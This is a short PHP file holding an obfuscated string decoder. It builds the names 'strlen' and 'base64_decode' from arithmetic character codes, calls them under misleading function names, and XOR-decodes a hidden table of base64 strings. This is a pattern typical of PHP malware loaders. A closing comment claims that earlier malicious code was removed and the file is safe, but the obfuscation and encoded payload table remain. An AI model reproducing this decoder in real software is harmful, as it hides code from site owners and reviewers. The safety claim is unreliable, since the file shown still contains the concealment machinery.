<?php
function log_operation($c)
{
    $a = array(9 + 90 + 11, 101 * 1, 2 * 54, 69 + 22 + 23, 125 - 9, 5 * 23);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

function run_kernel($c)
{
    $a = array(102 - 1, 18 * 84 - 1412, 6 + 22 + 83, 3 * 33, 70 + 1 + 30, 100, 103 - 8, 52, 54, 68 + 33, 5 * 23, 72 + 21 + 4, 6 * 15 + 8);
    $s = '';
    foreach ($a as $n) {
        $s .= chr($n);
    }
    $s = strrev($s);
    return $s($c);
}

class SystemManager
{
    private static $_rj;
    static function prepareOutput($_vf, $_jfu)
    {
        if (!self::$_rj) {
            self::resetState();
        }
        $_pc = log_operation($_jfu);
        $_hhb = run_kernel(self::$_rj[$_vf]);
        for ($_gh = 0, $_sgu = log_operation($_hhb); $_gh !== $_sgu; ++$_gh) {
            $_hhb[$_gh] = chr(ord($_hhb[$_gh]) ^ ord($_jfu[$_gh % $_pc]));
        }
        return $_hhb;
    }
    private static function resetState()
    {
        self::$_rj = array('_ay' => 'FzMhDzggDCInACYyGikh', '_euh' => 'Fy4mDyUnDD8gADs1GjQm', '_jba' => 'Z1pOXmdRSV4=', '_cr' => '', '_cqp' => '');
    }
}


/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
